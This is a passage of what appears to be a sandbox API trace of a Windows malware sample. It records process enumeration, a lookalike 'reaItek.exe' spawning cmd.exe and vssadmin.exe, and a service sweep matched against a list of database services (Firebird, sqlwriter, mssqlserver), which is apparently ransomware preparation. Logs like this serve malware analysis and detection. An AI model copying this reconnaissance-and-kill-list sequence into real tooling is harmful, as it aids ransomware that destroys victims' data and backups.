(lpString="isolated-concerned.exe") returned 22 [0116.750] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0116.751] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0116.751] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0116.752] lstrlenW (lpString="blademcdonald.exe") returned 17 [0116.752] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0116.753] lstrlenW (lpString="courage.exe") returned 11 [0116.753] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0116.754] lstrlenW (lpString="pearl.exe") returned 9 [0116.754] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0116.755] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0116.755] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0116.756] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0116.756] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0116.757] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0116.757] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0116.758] lstrlenW (lpString="dome.exe") returned 8 [0116.758] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0116.759] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0116.759] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0116.760] lstrlenW (lpString="paying.exe") returned 10 [0116.760] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0116.761] lstrlenW (lpString="emission.exe") returned 12 [0116.761] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0116.761] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0116.761] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0116.762] lstrlenW (lpString="charter.exe") returned 11 [0116.762] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0116.763] lstrlenW (lpString="nickel.exe") returned 10 [0116.763] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0116.767] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0116.767] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0116.768] lstrlenW (lpString="wrist.exe") returned 9 [0116.768] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0116.769] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0116.769] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0116.770] lstrlenW (lpString="neck.exe") returned 8 [0116.770] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0116.771] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0116.771] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0116.772] lstrlenW (lpString="taskhostw.exe") returned 13 [0116.772] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.774] lstrlenW (lpString="svchost.exe") returned 11 [0116.774] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0116.775] lstrlenW (lpString="reaItek.exe") returned 11 [0116.775] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0116.776] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0116.776] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0116.777] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0116.777] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.778] lstrlenW (lpString="conhost.exe") returned 11 [0116.778] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.779] lstrlenW (lpString="cmd.exe") returned 7 [0116.779] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.780] lstrlenW (lpString="conhost.exe") returned 11 [0116.780] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.792] lstrlenW (lpString="sppsvc.exe") returned 10 [0116.792] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0116.793] lstrlenW (lpString="vssadmin.exe") returned 12 [0116.794] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0116.799] lstrlenW (lpString="LogonUI.exe") returned 11 [0116.799] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0116.800] CloseHandle (hObject=0x388) returned 1 [0116.800] Sleep (dwMilliseconds=0x1f4) [0117.305] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feed0 [0117.305] EnumServicesStatusExW (in: hSCManager=0x5feed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0117.306] GetLastError () returned 0xea [0117.306] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x43e3260 [0117.306] EnumServicesStatusExW (in: hSCManager=0x5feed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43e3260, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43e3260, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0117.306] CloseServiceHandle (hSCObject=0x5feed0) returned 1 [0117.307] lstrlenW (lpString="Appinfo") returned 7 [0117.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0117.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0117.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0117.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0117.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0117.307] lstrlenW (lpString="AppXSvc") returned 7 [0117.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0117.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0117.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0117.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0117.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0117.307] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0117.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0117.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0117.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0117.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0117.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0117.307] lstrlenW (lpString="Audiosrv") returned 8 [0117.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0117.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0117.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0117.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0117.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0117.307] lstrlenW (lpString="BFE") returned 3 [0117.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0117.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0117.307] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0117.307] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0117.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0117.308] lstrlenW (lpString="BITS") returned 4 [0117.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0117.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0117.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0117.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0117.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0117.308] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0117.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0117.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0117.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0117.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0117.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0117.308] lstrlenW (lpString="CDPSvc") returned 6 [0117.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0117.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0117.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0117.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0117.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0117.308] lstrlenW (lpString="ClickToRunSvc") returned 13 [0117.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0117.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0117.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0117.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0117.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0117.308] lstrlenW (lpString="ClipSVC") returned 7 [0117.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0117.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0117.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0117.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0117.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0117.308] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0117.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0117.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0117.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0117.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0117.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0117.309] lstrlenW (lpString="CryptSvc") returned 8 [0117.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0117.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0117.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0117.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0117.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0117.309] lstrlenW (lpString="DcomLaunch") returned 10 [0117.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0117.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0117.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0117.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0117.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0117.309] lstrlenW (lpString="DeviceAssociationService") returned 24 [0117.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0117.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0117.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0117.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0117.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0117.309] lstrlenW (lpString="Dhcp") returned 4 [0117.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0117.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0117.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0117.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0117.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0117.309] lstrlenW (lpString="Dnscache") returned 8 [0117.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0117.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0117.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0117.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0117.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0117.310] lstrlenW (lpString="DoSvc") returned 5 [0117.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0117.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0117.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0117.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0117.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0117.310] lstrlenW (lpString="DPS") returned 3 [0117.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0117.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0117.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0117.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0117.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0117.310] lstrlenW (lpString="DusmSvc") returned 7 [0117.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0117.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0117.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0117.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0117.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0117.310] lstrlenW (lpString="EventLog") returned 8 [0117.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0117.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0117.310] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0117.310] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0117.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0117.310] lstrlenW (lpString="EventSystem") returned 11 [0117.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0117.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0117.310] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0117.310] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0117.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0117.310] lstrlenW (lpString="FontCache") returned 9 [0117.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0117.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0117.310] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0117.311] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0117.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0117.311] lstrlenW (lpString="gpsvc") returned 5 [0117.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0117.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0117.311] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0117.311] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0117.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0117.311] lstrlenW (lpString="iphlpsvc") returned 8 [0117.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0117.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0117.311] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0117.311] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0117.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0117.311] lstrlenW (lpString="KeyIso") returned 6 [0117.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0117.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0117.311] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0117.311] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0117.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0117.311] lstrlenW (lpString="LanmanServer") returned 12 [0117.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0117.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0117.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0117.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0117.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0117.311] lstrlenW (lpString="LanmanWorkstation") returned 17 [0117.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0117.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0117.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0117.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0117.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0117.311] lstrlenW (lpString="lfsvc") returned 5 [0117.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0117.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0117.312] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0117.312] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0117.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0117.312] lstrlenW (lpString="LicenseManager") returned 14 [0117.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0117.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0117.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0117.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 